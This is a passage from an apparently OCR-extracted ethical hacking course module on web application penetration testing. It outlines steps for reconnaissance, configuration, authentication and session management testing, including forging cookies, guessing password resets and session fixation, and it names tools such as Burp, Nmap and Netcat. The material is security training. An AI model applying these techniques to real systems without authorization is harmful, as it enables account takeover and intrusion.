
t h a t  it  is c o m p l e t e l y  s e c u r e .
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_ _

W e b  A p p l i c a t i o n  P e n  T e s t i n g
( C o n t ’d )

C E H

START

W eb Services 

Testing

AJAX Testing

V

In fo rm a tio n A u th o r iz a tio n

G a the ring Testing

v
------------------- * ---------------------

C on fig u ra tio n Business Logic
M a na g e m en t Testing Testing

9
------------------- * ---------------------

--------------------- ■---------------------

A u th e n tic a tio n Data V a lida tion

Testing Testing

V
------------------- * ---------------------

Session D en ia l-o f-S erv ice

M anagem en t Testing Testing
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W e b  A p p l i c a t i o n  P e n  T e s t i n g  ( C o n t ’ d )

T h e  g e n e r a l  s t e p s  t h a t  y o u  n e e d  t o  f o l l o w  t o  c o n d u c t  w e b  a p p l i c a t i o n  p e n e t r a t i o n  

t e s t  a r e  l i s t e d  a s  f o l l o w s .  In a  f u t u r e  s e c t i o n ,  e a c h  s t e p  is e x p l a i n e d  in d e t a i l .

S t e p  1:  D e f i n i n g  o b j e c t i v e

Y o u  s h o u l d  d e f i n e  t h e  a i m  o f  t h e  p e n e t r a t i o n  t e s t  b e f o r e  c o n d u c t i n g  it. T h i s  w o u l d  h e l p  y o u  t o  

m o v e  in r i g h t  d i r e c t i o n  t o w a r d s  y o u r  a i m  o f  p e n e t r a t i o n  t e s t .

S t e p  2 :  I n f o r m a t i o n  g a t h e r i n g

Y o u  s h o u l d  g a t h e r  a s  m u c h  i n f o r m a t i o n  a s  p o s s i b l e  a b o u t  y o u r  t a r g e t  s y s t e m  o r  n e t w o r k .

S t e p  3 :  C o n f i g u r a t i o n  m a n a g e m e n t  t e s t i n g

M o s t  w e b  a p p l i c a t i o n  a t t a c k s  o c c u r  b e c a u s e  o f  i m p r o p e r  c o n f i g u r a t i o n .  T h e r e f o r e ,  y o u  s h o u l d  

c o n d u c t  c o n f i g u r a t i o n  m a n a g e m e n t  t e s t i n g .  T h i s  a l s o  h e l p s  y o u  t o  p r o t e c t  a g a i n s t  k n o w n  

v u l n e r a b i l i t i e s  b y  i n s t a l l i n g  t h e  l a t e s t  u p d a t e s .

S t e p  4 :  A u t h e n t i c a t i o n  t e s t i n g  s e s s i o n

T e s t  t h e  a u t h e n t i c a t i o n  s e s s i o n  t o  u n d e r s t a n d  t h e  a u t h e n t i c a t i o n  m e c h a n i s m  a n d  t o  d e t e r m i n e  

t h e  p o s s i b l e  e x p l o i t s  in it.
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S t e p  5 :  S e s s i o n  m a n a g e m e n t  t e s t i n g

P e r f o r m  s e s s i o n  m a n a g e m e n t  t e s t i n g  t o  c h e c k  y o u r  w e b  a p p l i c a t i o n  a g a i n s t  v a r i o u s  a t t a c k s  t h a t  

a r e  b a s e d  o n  s e s s i o n  ID s u c h  a s  s e s s i o n  h i j a c k i n g ,  s e s s i o n  f i x a t i o n ,  e t c .

S t e p  6 :  D e n i a l - o f - s e r v i c e  t e s t i n g

S e n d  a  v a s t  a m o u n t  o f  r e q u e s t s  t o  t h e  w e b  a p p l i c a t i o n  u n t i l  t h e  s e r v e r  g e t s  s a t u r a t e d .  A n a l y z e  

t h e  b e h a v i o r  o f  a p p l i c a t i o n  w h e n  t h e  s e r v e r  is s a t u r a t e d .  In t h i s  w a y  y o u  c a n  t e s t  y o u r  w e b  

a p p l i c a t i o n  a g a i n s t  d e n i a l - o f - s e r v i c e  a t t a c k s .

S t e p  7 :  D a t a  v a l i d a t i o n  t e s t i n g

F a i l i ng  t o  a d o p t  a  p r o p e r  d a t a  v a l i d a t i o n  m e t h o d  is t h e  c o m m o n  s e c u r i t y  w e a k n e s s  o b s e r v e d  in 

m o s t  w e b  a p p l i c a t i o n s .  T h i s  m a y  f u r t h e r  l e a d  t o  m a j o r  v u l n e r a b i l i t i e s  in w e b  a p p l i c a t i o n s .  

H e n c e ,  b e f o r e  a  h a c k e r  f i n d s  t h o s e  v u l n e r a b i l i t i e s  a n d  e x p l o i t s  y o u r  a p p l i c a t i o n ,  p e r f o r m  d a t a  

v a l i d a t i o n  t e s t i n g  a n d  p r o t e c t  y o u r  w e b  a p p l i c a t i o n .

S t e p  8 :  B u s i n e s s  l o g i c  t e s t i n g

W e b  a p p l i c a t i o n  s e c u r i t y  f l a w s  m a y  b e  p r e s e n t  e v e n  in b u s i n e s s  l og i c .  H e n c e ,  y o u  s h o u l d  t e s t  

t h e  b u s i n e s s  l o g i c  f o r  f l a w s .  E x p l o i t i n g  t h i s  b u s i n e s s  l og i c ,  a t t a c k e r s  m a y  d o  s o m e t h i n g  t h a t  is 

n o t  a l l o w e d  b y  b u s i n e s s e s  a n d  it  m a y  s o m e t i m e s  l e a d  t o  g r e a t  f i n a n c i a l  l o s s .  T e s t i n g  b u s i n e s s  

l o g i c  f o r  s e c u r i t y  f l a w s  r e q u i r e s  u n c o n v e n t i o n a l  t h i n k i n g .

S t e p  9 :  A u t h o r i z a t i o n  t e s t i n g

A n a l y z e  h o w  a  w e b  a p p l i c a t i o n  is a u t h o r i z i n g  t h e  u s e r  a n d  t h e n  t r y  t o  f i n d  a n d  e x p l o i t  t h e  

v u l n e r a b i l i t i e s  p r e s e n t  in t h e  a u t h o r i z a t i o n  m e c h a n i s m .

S t e p  1 0 :  W e b  s e r v i c e s  t e s t i n g

W e b  s e r v i c e s  u s e  HTTP  p r o t o c o l  in c o n j u c t i o n  w i t h  SML ,  W S D L ,  S O A P ,  a n d  UDDI t e c h n o l o g i e s .  

T h e r e f o r e ,  w e b  s e r v i c e s  h a v e  X M L / p a r s e r  r e l a t e d  v u l n e r a b i l i t i e s  in a d d i t i o n  t o  SQL i n j e c t i o n ,  

i n f o r m a t i o n  d i s c l o s u r e ,  e t c .  Y o u  s h o u l d  c o n d u c t  w e b  s e r v i c e s  t e s t i n g  t o  d e t e r m i n e  t h e  

v u l n e r a b i l i t i e s  o f  w e b - b a s e d  s e r v i c e s .

S t e p  1 1 :  A JA X  t e s t i n g

T h o u g h  m o r e  r e s p o n s i v e  w e b  a p p l i c a t i o n s  a r e  d e v e l o p e d  u s i n g  AJAX,  it  is l i ke ly  a s  v u l n e r a b l e  a s  

a  t r a d i t i o n a l  w e b  a p p l i c a t i o n .  T e s t i n g  f o r  AJAX  is c h a l l e n g i n g  b e c a u s e  w e b  a p p l i c a t i o n  

d e v e l o p e r s  a r e  g i v e n  ful l  f r e e d o m  t o  d e s i g n  t h e  w a y  o f  c o m m u n i c a t i o n  b e t w e e n  c l i e n t  a n d  

s e r v e r .

S t e p  1 2 :  D o c u m e n t  a l l  t h e  f i n d i n g s

O n c e  y o u  c o n d u c t  all t h e  t e s t s  m e n t i o n e d  h e r e ,  d o c u m e n t  all  t h e  f i n d i n g s  a n d  t h e  t e s t i n g  

t e c h n i q u e s  e m p l o y e d  a t  e a c h  s t e p .  A n a l y z e  t h e  d o c u m e n t  a n d  e x p l a i n  t h e  c u r r e n t  s e c u r i t y  

p o s t u r e  t o  t h e  c o n c e r n e d  p a r t i e s  a n d  s u g g e s t  h o w  t h e y  c a n  e n h a n c e  t h e i r  s e c u r i t y .

Ethical H acking an d  C o u n te rm e asu re s  Copyright ©  by EC-C0UnCil
All Rights Reserved. R eproduction  is Strictly Prohib ited .

M odule  13 Page 1962



Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

I n f o r m a t i o n  G a t h e r i n g C E H

e Retrieve and analyze robo ts .tx t f ile  
using too ls  such as GNU W get

e  Use th e  advanced "s ite :"  search 
o pe ra to r and then click "Cached" 
to  perform  search engine 
reconnaissance

Allowed and disallowed 
directories

START©

Identify  app lica tion en try  points 
using too ls  such as Webscarab, 
Burp proxy, OWASP ZAP, TamperlE 
(fo r In ternet Explorer), o r Tam per 
Data (fo r Firefox)

To iden tify  web app lica tions: probe 
fo r URLs, do d ic tionary-sty le  
searching (in te lligen t guessing) 
and perform  vu lne rab ility  scanning 
using too ls  such as Nm ap (Port 
Scanner) and Nessus

Im plem ent techniques such as 
DNS zone transfers, DNS inverse 
queries, web-based DNS searches, 
querying search engines (googling)

e
Issues of web application 

״ ► structure, error pages 
produced

V
Perform  search engine 

reconnaissance

Cookie information, 300 
׳ •>■ HTTP and 400 status codes, 

500 internal server errors

Web applications, old 
versions of filesor artifacts

Web server software 
version, scripting 

environment, and OS in use

Id e n tify  app lica tion 
e n try  points

Id e n tify  th e  w eb  
applica tions

Analyze th e  O /P from  
HEAD and OPTIONS 

h ttp  requests 

V

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

I n f o r m a t i o n  G a t h e r i n g

L e t ' s  g e t  i n t o  d e t a i l  a n d  d i s c u s s  e a c h  w e b  a p p l i c a t i o n  t e s t  s t e p  t h o r o u g h l y .

T h e  f i r s t  s t e p  in w e b  a p p l i c a t i o n  p e n  t e s t i n g  is i n f o r m a t i o n  g a t h e r i n g .  T o  g a t h e r  all  t h e  

i n f o r m a t i o n  a b o u t  t h e  t a r g e t  a p p l i c a t i o n ,  f o l l o w  t h e s e  s t e p s :

S t e p  1:  A n a l y z e  t h e  r o b o t s . t x t  f i l e

R o b o t . t x t  is a  f i le  t h a t  i n s t r u c t s  w e b  r o b o t s  a b o u t  t h e  w e b s i t e  s u c h  a s  d i r e c t o r i e s  t h a t  c a n  b e  

a l l o w e d  a n d  d i s a l l o w e d  t o  t h e  u s e r .  H e n c e ,  a n a l y z e  t h e  r o b o t . t x t  a n d  d e t e r m i n e  t h e  a l l o w e d  

a n d  d i s a l l o w e d  d i r e c t o r i e s  o f  a  w e b  a p p l i c a t i o n .  Y o u  c a n  r e t r i e v e  a n d  a n a l y z e  r o b o t s . t x t  f i l e  

u s i n g  t o o l s  s u c h  a s  G N U  W g e t .

S t e p  2 :  P e r f o r m  s e a r c h  e n g i n e  r e c o n n a i s s a n c e

U s e  t h e  a d v a n c e d  " s i t e : "  s e a r c h  o p e r a t o r  a n d  t h e n  c l i ck  C a c h e d  t o  p e r f o r m  s e a r c h  e n g i n e  

r e c o n n a i s s a n c e .  It g i v e s  y o u  i n f o r m a t i o n  s u c h  a s  i s s u e s  o f  w e b  a p p l i c a t i o n  s t r u c t u r e  a n d  e r r o r  

p a g e s  p r o d u c e d .
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S t e p  3 :  I d e n t i f y  a p p l i c a t i o n  e n t r y  p o i n t s

I d e n t i f y  a p p l i c a t i o n  e n t r y  p o i n t s  u s i n g  t o o l s  s u c h  a s  W e b s c a r a b ,  B u r p  P r o x y ,  O W A S P  ZAP,  

T a m p e r l E  ( f o r  I n t e r n e t  E x p l o r e r ) ,  o r  T a m p e r  D a t a  ( f o r  F i r e fo x ) .  C o o k i e  i n f o r m a t i o n ,  3 0 0  HTTP  

a n d  4 0 0  s t a t u s  c o d e s ,  a n d  5 0 0  i n t e r n a l  s e r v e r  e r r o r s  m a y  g i v e  c l u e s  a b o u t  e n t r y  p o i n t s  o f  t h e  

t a r g e t  w e b  a p p l i c a t i o n .

S t e p  4 :  I d e n t i f y  t h e  w e b  a p p l i c a t i o n s

T o  i d e n t i f y  w e b  a p p l i c a t i o n s :  p r o b e  f o r  URLs,  d o  d i c t i o n a r y - s t y l e  s e a r c h i n g  ( i n t e l l i g e n t  

g u e s s i n g ) ,  a n d  p e r f o r m  v u l n e r a b i l i t y  s c a n n i n g  u s i n g  t o o l s  s u c h  a s  N m a p  ( P o r t  S c a n n e r )  a n d  

N e s s u s .  C h e c k  f o r  w e b  a p p l i c a t i o n s ,  o l d  v e r s i o n s  o f  f i l e s ,  o r  a r t i f a c t s .  S o m e t i m e s  t h e  o l d  

v e r s i o n s  o f  f i l e s  m a y  g i v e  u s e f u l  i n f o r m a t i o n  t h a t  a t t a c k e r s  c a n  u s e  t o  l a u n c h  a t t a c k s  o n  t h e  

w e b  a p p l i c a t i o n .

S t e p  5 :  A n a l y z e  t h e  O / P  f r o m  H E A D  a n d  O P T I O N S  h t t p  r e q u e s t s

I m p l e m e n t  t e c h n i q u e s  s u c h  a s  D N S  z o n e  t r a n s f e r s ,  D N S  i n v e r s e  q u e r i e s ,  w e b - b a s e d  DNS 

s e a r c h e s ,  q u e r y i n g  s e a r c h  e n g i n e s  ( G o o g l i n g ) .  T h i s  m a y  r e v e a l  i n f o r m a t i o n  s u c h  a s  w e b  s e r v e r  

s o f t w a r e  v e r s i o n ,  s c r i p t i n g  e n v i r o n m e n t ,  a n d  O S  in u s e .
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I n f o r m a t i o n  G a t h e r i n g  r  g  u
( C o n t ’d )  (•lllfwtf |  ltkl«4l NMhM

8  Analyze e rro r codes by requesting  invalid 
pages and u tilize  a lte rna te  request 
m ethods (POST/PUT/Other) in order to  
collect confidentia l in fo rm a tion  fro m  th e  
server

© Examine the  source code from  the
accessible pages o f th e  app lica tion  fro n t-  
end

Test fo r recognized file  
types/extensions/d irecto ries by requesting 
com m on file  extensions such as .ASP, .HTM, 
.PHP, .EXE, and w a tch  fo r any unusual 
o u tp u t o r e rro r codes

Perform  TCP/ICMP and service 
finge rp rin ting  using trad itiona l 
finge rp rin ting  too ls  such as Nmap and 
Queso, o r the  m ore recent app lica tion 
finge rp rin ting  to o l Am ap

e

y

A n a lys is  o f  e rro r  

codes
.......

Software versions, details 
of databases, bugs, and 

technological components

>f

Test fo r  recogn ized  f ile Web application
ty p e s /e x te n s io n s /

d ire c to r ie s
environment

>f

E xam ine source  o f  

a va ila b le  pages
........

Provide dues as to the 
underlying application 

environment

>/

TC P/IC M P a n d  service Web application services
f in g e rp r in tin g and associated ports

Copyright © by EC-Cauactl. All Rights Reserved. Reproduction is Strictly Prohibited.

I n f o r m a t i o n  G a t h e r i n g  ( C o n t ’ d )

S t e p  6 :  A n a l y z e  e r r o r  c o d e s

A n a l y z e  e r r o r  c o d e s  b y  r e q u e s t i n g  i n v a l i d  p a g e s  a n d  u t i l i z e  a l t e r n a t e  r e q u e s t  m e t h o d s  

( P O S T / P U T / O t h e r )  in o r d e r  t o  c o l l e c t  c o n f i d e n t i a l  i n f o r m a t i o n  f r o m  t h e  s e r v e r .  T h i s  m a y  r e v e a l  

i n f o r m a t i o n  s u c h  a s  s o f t w a r e  v e r s i o n s ,  d e t a i l s  o f  d a t a b a s e s ,  b u g s ,  a n d  t e c h n o l o g i c a l  

c o m p o n e n t s .

S t e p  7 :  T e s t  f o r  r e c o g n i z e d  f i l e  t y p e s / e x t e n s i o n s / d i r e c t o r i e s

T e s t  f o r  r e c o g n i z e d  f i le  t y p e s / e x t e n s i o n s / d i r e c t o r i e s  b y  r e q u e s t i n g  c o m m o n  f i l e  e x t e n s i o n s  s u c h  

a s  .ASP,  . H T M ,  . PH P ,  .EXE, a n d  o b s e r v e  t h e  r e s p o n s e .  T h i s  m a y  g i v e  y o u  a n  i d e a  a b o u t  t h e  w e b  

a p p l i c a t i o n  e n v i r o n m e n t .

S t e p  8 :  E x a m i n e  s o u r c e  o f  a v a i l a b l e  p a g e s

E x a m i n e  t h e  s o u r c e  c o d e  f r o m  t h e  a c c e s s i b l e  p a g e s  o f  t h e  a p p l i c a t i o n  f r o n t - e n d .  T h i s  p r o v i d e s  

c l u e s  a b o u t  t h e  u n d e r l y i n g  a p p l i c a t i o n  e n v i r o n m e n t .

S t e p  9 :  T C P / I C M P  a n d  s e r v i c e  f i n g e r p r i n t i n g

P e r f o r m  T C P / I C M P  a n d  s e r v i c e  f i n g e r p r i n t i n g  u s i n g  t r a d i t i o n a l  f i n g e r p r i n t i n g  t o o l s  s u c h  a s  

N m a p  a n d  Q u e s o ,  o r  t h e  m o r e  r e c e n t  a p p l i c a t i o n  f i n g e r p r i n t i n g  t o o l s  A m a p .  T h i s  g i v e s  y o u  

i n f o r m a t i o n  a b o u t  w e b  a p p l i c a t i o n  s e r v i c e s  a n d  a s s o c i a t e d  p o r t s .
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r Configuration M anagem ent 
Testing ctertMM

E H
IU mjI Km Im

START 1

w Identify the ports associated to SSL/TLS wrapped services using Nmap 
and Nessus

» Perform network scanning and analyze the web server banner

e  Test the application configuration management using CGI scanners and 
reviewing the contents of the web server, application server, comments, 
configuration and logs

» Use vulnerability scanners, spidering and mirroring tools, searchengines 
queries or perform manual inspection to test for file extensions handling

t» Review source code, enumerate application pages and functionality

& Perform directory and file enumeration, reviewing server and application 
documentation, etc. to test for infrastructure and application admin 
interfaces

» Review OPTIONS HTTP method using Netcat or Telnet

Credentials o f 
leg itim a te  users

Adm in interfaces can be 
found  to  gain access to  

adm in fu n c tio n a lity

..... >Test fo r  HTTP m ethods 
and XST

Test fo r  in fras truc tu re  
and app lica tion adm in 

in terfaces

&

מ

V
Perform  in fras truc tu re  

configura tion  m anagem ent 
tes ting

Perform  app lica tion 
configura tion  m anagem ent 

tes ting

Test fo r file  extensions 
handling

Verify th e  presence o f old, 
backup, and unre ferenced 

files

Disclosure o f confidentia l 
in fo rm a tion

Source code o f the  
app lica tion

In fo rm ation  in th e  source 
code, log files, and defau lt <■ 

e rro r codes

Confidentia l in fo rm ation  
about access credentials

Source code, insta lla tion  
paths, passwords fo r 

applica tions, and databases
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C o n f i g u r a t i o n  M a n a g e m e n t  T e s t i n g

f  ^  \
O n c e  y o u  g a t h e r  i n f o r m a t i o n  a b o u t  t h e  w e b  a p p l i c a t i o n  e n v i r o n m e n t ,  t e s t  t h e  

c o n f i g u r a t i o n  m a n a g e m e n t .  It is i m p o r t a n t  t o  t e s t  t h e  c o n f i g u r a t i o n  m a n a g e m e n t  b e c a u s e  

i m p r o p e r  c o n f i g u r a t i o n  m a y  a l l o w  u n a u t h o r i z e d  u s e r s  t o  b r e a k  i n t o  t h e  w e b  a p p l i c a t i o n .

S t e p l :  P e r f o r m  SS L/T LS  t e s t i n g

SSL/TLS  t e s t i n g  a l l o w s  y o u  t o  i d e n t i f y  t h e  p o r t s  a s s o c i a t e d  w i t h  SSL/TLS w r a p p e d  s e r v i c e s .  Y ou  

c a n  d o  t h i s  w i t h  t h e  h e l p  o f  t o o l s  s u c h  a s  N m a p  a n d  N e s s u s .  T h i s  h e l p s  d i s c l o s e  c o n f i d e n t i a l  

i n f o r m a t i o n .

S t e p  2 :  P e r f o r m  i n f r a s t r u c t u r e  c o n f i g u r a t i o n  m a n a g e m e n t  t e s t i n g

P e r f o r m  n e t w o r k  s c a n n i n g  a n d  a n a l y z e  w e b  s e r v e r  b a n n e r s  t o  a n a l y z e  t h e  s o u r c e  c o d e  o f  t h e  

a p p l i c a t i o n .

S t e p  3 :  P e r f o r m  a p p l i c a t i o n  c o n f i g u r a t i o n  m a n a g e m e n t  t e s t i n g

T e s t  t h e  c o n f i g u r a t i o n  m a n a g e m e n t  o f  i n f r a s t r u c t u r e  u s i n g  CGI s c a n n e r s  a n d  r e v i e w i n g  t h e  

c o n t e n t s  o f  t h e  w e b  s e r v e r ,  a p p l i c a t i o n  s e r v e r ,  c o m m e n t s ,  c o n f i g u r a t i o n ,  a n d  l o g s .  T h i s  g i v e s  

y o u  i n f o r m a t i o n  a b o u t  t h e  s o u r c e  c o d e ,  l o g  f i l e s ,  a n d  d e f a u l t  e r r o r  c o d e s .
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S t e p  4 :  T e s t  f o r  f i l e  e x t e n s i o n s  h a n d l i n g

U s e  v u l n e r a b i l i t y  s c a n n e r s ,  s p i d e r i n g  a n d  m i r r o r i n g  t o o l s ,  s e a r c h  e n g i n e s  q u e r i e s ,  o r  p e r f o r m  

m a n u a l  i n s p e c t i o n  t o  t e s t  f o r  f i l e  e x t e n s i o n s  h a n d l i n g .  T h i s  m a y  r e v e a l  c o n f i d e n t i a l  i n f o r m a t i o n  

a b o u t  a c c e s s  c r e d e n t i a l s .

S t e p  5 :  V e r i f y  t h e  p r e s e n c e  o f  o l d ,  b a c k u p ,  a n d  u n r e f e r e n c e d  f i l e s

R e v i e w  s o u r c e  c o d e  a n d  e n u m e r a t e  a p p l i c a t i o n  p a g e s  a n d  f u n c t i o n a l i t y  t o  v e r i f y  t h e  o l d ,  

b a c k u p ,  a n d  u n r e f e r e n c e d  f i l e s .  T h i s  m a y  r e v e a l  t h e  i n s t a l l a t i o n  p a t h s  a n d  p a s s w o r d s  f o r  

a p p l i c a t i o n s  a n d  d a t a b a s e s .

S t e p  6 :  T e s t  f o r  i n f r a s t r u c t u r e  a n d  a p p l i c a t i o n  a d m i n  i n t e r f a c e s

P e r f o r m  d i r e c t o r y  a n d  f i le  e n u m e r a t i o n ,  r e v i e w  s e r v e r  a n d  a p p l i c a t i o n  d o c u m e n t a t i o n ,  e t c .  t o  

t e s t  f o r  i n f r a s t r u c t u r e  a n d  a p p l i c a t i o n  a d m i n  i n t e r f a c e s .  A d m i n  i n t e r f a c e s  c a n  b e  u s e d  t o  g a i n  

a c c e s s  t o  t h e  a d m i n  f u n c t i o n a l i t y .

S t e p  7 :  T e s t  f o r  H T T P  m e t h o d s  a n d  XST

R e v i e w  O P T I O N S  HTTP  m e t h o d  u s i n g  N e t c a t  o r  T e l n e t  t o  t e s t  f o r  HTTP  m e t h o d s  a n d  XST. T h i s  

m a y  r e v e a l  c r e d e n t i a l s  o f  l e g i t i m a t e  u s e r s .
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C E HA u t h e n t i c a t i o n  T e s t i n g

©  Try to  rese t passw ords by guessing, social 
eng ineering , o r cracking secre t questions, i f  
used. Check i f  " re m e m b e r m y  p assw o rd " 
m echan ism  is im plem ented  by checking the  

HTML code o f the  log in  page.

©  Check i f  i t  is possib le  to  "re u s e " a session 
a fte r  lo g o u t. A lso  check i f  the  a p p lic a tio n  
a u to m a tic a lly  logs o u t  a user w hen th a t user 

has been id le  fo r a ce rta in  am ount o f tim e, 
and th a t no sensitive  data  rem ains s tored  in 
the  b row ser cache.

®  Ide n tify  a ll param eters th a t are sen t in
a dd itio n  to  the  d ecoded  CAPTCHA va lue  fro m  
the  c lie n t to  the  server and try  to  send an o ld  
deco de d  CAPTCHA v a lu e  w ith  an o ld  
CAPTCHA ID o f  an o ld  session ID

W Check i f  users hold  a hardware device o f some 
kind In a dd itio n  to  the  password. Check i f  
h a rd w a re  d ev ice  c o m m u n ic a te s d ire c t ly a n d  
in d e p e n d e n tly  w ith  the  au th en tica tio n  
in fras truc tu re  using an add itiona l 
com m unication  channel.

®  A tte m p t to  fo rc e  a race c o n d it io n , make 
m u ltip le  s im ultaneous requests w h ile  
observing the  outcom e fo r  unexpected 
behavior. Perform  code review.

A u th e n tic a tio n

vu ln e ra b ilit ie s

A u th e n tic a tio n

vu ln e ra b ilit ie s

M u lt ip le  fa c to rs  

a u th e n tic a tio n  
vu ln e ra b ilit ie s

Race c o n d itio n s

START

Test fo r  lo g o u t and  
b ro w se r cache 
m a n a g e m e n t

V

Test fo r  CAPTCHA

Test fo r  m u lt ip le  

fa c to rs  a u th e n tic a tio n

Test f o r  race 

c o n d it io n s
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Hj j j j g  A u t h e n t i c a t i o n  T e s t i n g

Y o u  n e e d  t o  p e r f o r m  t h e  f o l l o w i n g  s t e p s  t o  c a r r y  o u t  a u t h e n t i c a t i o n  t e s t i n g :

S t e p  1:  T e s t  f o r  V u l n e r a b l e  R e m e m b e r  p a s s w o r d  a n d  p w d  r e s e t

T e s t  f o r  V u l n e r a b l e  R e m e m b e r  p a s s w o r d  a n d  p w d  r e s e t  b y  a t t e m p t i n g  t o  r e s e t  p a s s w o r d s  b y  

g u e s s i n g ,  s o c i a l  e n g i n e e r i n g ,  o r  c r a c k i n g  s e c r e t  q u e s t i o n s ,  if u s e d .  C h e c k  if a  " r e m e m b e r  m y  

p a s s w o r d "  m e c h a n i s m  is i m p l e m e n t e d  b y  c h e c k i n g  t h e  H T M L  c o d e  o f  t h e  l o g i n  p a g e ;  t h r o u g h  

t h i s  p a s s w o r d ,  a u t h e n t i c a t i o n  w e a k n e s s  c a n  b e  u n c o v e r e d .

S t e p  2 :  T e s t  f o r  l o g o u t  a n d  b r o w s e r  c a c h e  m a n a g e m e n t

C h e c k  if it is p o s s i b l e  t o  " r e u s e "  a  s e s s i o n  a f t e r  l o g o u t .  A l s o  c h e c k  if t h e  a p p l i c a t i o n  

a u t o m a t i c a l l y  l o g s  o u t  a  u s e r  w h e n  t h a t  u s e r  h a s  b e e n  i d l e  f o r  a  c e r t a i n  a m o u n t  o f  t i m e ,  a n d  

t h a t  n o  s e n s i t i v e  d a t a  r e m a i n s  s t o r e d  in t h e  b r o w s e r  c a c h e .

S t e p  3 :  T e s t  f o r  C A P T C H A

I d e n t i f y  all  p a r a m e t e r s  t h a t  a r e  s e n t  in a d d i t i o n  t o  t h e  d e c o d e d  C A P T C H A  v a l u e  f r o m  t h e  c l i e n t  

t o  t h e  s e r v e r  a n d  t r y  t o  s e n d  a n  o l d  d e c o d e d  C A P T C H A  v a l u e  w i t h  a n  o l d  C A P T C H A  ID o f  a n  o l d  

s e s s i o n  ID. T h i s  h e l p s  y o u  t o  d e t e r m i n e  a u t h e n t i c a t i o n  v u l n e r a b i l i t i e s .
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S t e p  4 :  T e s t  f o r  m u l t i p l e  f a c t o r s  a u t h e n t i c a t i o n

C h e c k  if u s e r s  h o l d  a  h a r d w a r e  d e v i c e  o f  s o m e  k i n d  in a d d i t i o n  t o  t h e  p a s s w o r d .  C h e c k  if t h e  

h a r d w a r e  d e v i c e  c o m m u n i c a t e s  d i r e c t l y  a n d  i n d e p e n d e n t l y  w i t h  t h e  a u t h e n t i c a t i o n  

i n f r a s t r u c t u r e  u s i n g  a n  a d d i t i o n a l  c o m m u n i c a t i o n  c h a n n e l .

S t e p  5 :  T e s t  f o r  r a c e  c o n d i t i o n s

A t t e m p t  t o  f o r c e  a  r a c e  c o n d i t i o n  a n d  m a k e  m u l t i p l e  s i m u l t a n e o u s  r e q u e s t s  w h i l e  o b s e r v i n g  

t h e  o u t c o m e  f o r  u n e x p e c t e d  b e h a v i o r .  P e r f o r m  c o d e  r e v i e w  t o  c h e c k  if t h e r e  is a  c h a n c e  f o r  

r a c e  c o n d i t i o n s .

Ethical H acking an d  C o u n te rm e asu re s  Copyright ©  by EC-C0UnCil
All Rights Reserved. R eproduction  is Strictly Prohib ited .

M odule  13 Page 1969



Exam 312-50 C ertified Ethical HackerEthical Hacking and  C o u n te rm easu re s
Hacking W eb A pplications

Session M an a g e m e n t Testing C E H

Collect su ffic ien t num ber o f cookie 
samples, analyze th e  cookie generation 
a lgo rithm  and forge a valid cookie in 
order to  pe rfo rm  th e  a ttack

Test fo r  cookie a ttr ib u te s  using 
in te rcep ting  proxies such as W ebscarab, 
Burp proxy, OWASP ZAP, o r tra ffic  
in te rcep ting  brow ser plug-in's such as 
"Tam perlE "(fo r IE) and "Tam per D a ta"(for 
Firefox)

To tes t fo r  session f ixa tion , make a 
request to  the  s ite  to  be tested and 
analyze vu lnerab ilities using th e  
WebScarab too l

Test fo r  exposed session variables by 
inspecting encryp tion  &  reuse o f session 
token , proxies & caching , GET &  POST, 
and tra n sp o rt vu lnerab ilities

Examine th e  URLs in the  res tric ted  area 
to  tes t forCSRF

Cookie tam pering results in 
hijacking the  sessions o f 

leg itim a te  users

Cookie in fo rm ation  to  
hijack a va lid  session

Attacker could steal the 
■ ̂  user session (session 

hijacking)

C onfidentia l in fo rm ation  o f 
session token  leads to  a 

rep lay session attack

Compromises end user data 
■ ^  and opera tion  o r entire  

w eb application

START

Test fo r  c o o k ie  

a ttr ib u te s

on

■
Test f o r  session 

f ix a t io n

Test f o r  exposed 

session va riab les

V
Test forC SR F (Cross 

S ite  R equest 
F orgery)
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p y S j  S e s s i o n  M a n a g e m e n t  T e s t i n g

A f t e r  t e s t i n g  t h e  c o n f i g u r a t i o n  m a n a g e m e n t ,  t e s t  h o w  t h e  a p p l i c a t i o n  m a n a g e s  t h e  

s e s s i o n .  T h e  f o l l o w i n g  a r e  t h e  s t e p s  t o  c o n d u c t  s e s s i o n  m a n a g e m e n t  p e n  t e s t i n g :

S t e p  1:  T e s t  f o r  s e s s i o n  m a n a g e m e n t  s c h e m a

C o l l e c t  a  s u f f i c i e n t  n u m b e r  o f  c o o k i e  s a m p l e s ,  a n a l y z e  t h e  c o o k i e  g e n e r a t i o n  a l g o r i t h m ,  a n d  

f o r g e  a  v a l i d  c o o k i e  in o r d e r  t o  p e r f o r m  t h e  a t t a c k .  T h i s  a l l o w s  y o u  t o  t e s t  y o u r  a p p l i c a t i o n  

a g a i n s t  c o o k i e  t a m p e r i n g ,  w h i c h  r e s u l t s  in h i j a c k i n g  t h e  s e s s i o n s  o f  l e g i t i m a t e  u s e r s .

S t e p  2 :  T e s t  f o r  c o o k i e  a t t r i b u t e s

T e s t  f o r  c o o k i e  a t t r i b u t e s  u s i n g  i n t e r c e p t i n g  p r o x i e s  s u c h  a s  W e b s c a r a b ,  B u r p  P r o x y ,  O W A S P  

ZAP,  o r  t r a f f i c  i n t e r c e p t i n g  b r o w s e r  p l u g i n s  s u c h  a s  " T a m p e r l E " ( f o r  IE) a n d  " T a m p e r  D a t a " ( f o r  

F i r e f o x ) .  If y o u  a r e  a b l e  t o  r e t r i e v e  c o o k i e  i n f o r m a t i o n ,  t h e n  y o u  c a n  u s e  t h i s  i n f o r m a t i o n  t o  

h i j a c k  a  v a l i d  s e s s i o n .

S t e p  3 :  T e s t  f o r  s e s s i o n  f i x a t i o n

T o  t e s t  f o r  s e s s i o n  f i x a t i o n ,  m a k e  a  r e q u e s t  t o  t h e  s i t e  t o  b e  t e s t e d  a n d  a n a l y z e  v u l n e r a b i l i t i e s  

u s i n g  t h e  W e b S c a r a b  t o o l .  T h i s  h e l p s  y o u  t o  d e t e r m i n e  w h e t h e r  y o u r  a p p l i c a t i o n  is v u l n e r a b l e  

t o  s e s s i o n  h i j a c k i n g .
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S t e p  4 :  T e s t  f o r  e x p o s e d  s e s s i o n  v a r i a b l e s

C o n f i d e n t i a l  i n f o r m a t i o n  o f  s e s s i o n  t o k e n  l e a d s  t o  a  r e p l a y  s e s s i o n  a t t a c k .  T h e r e f o r e ,  t e s t  f o r  

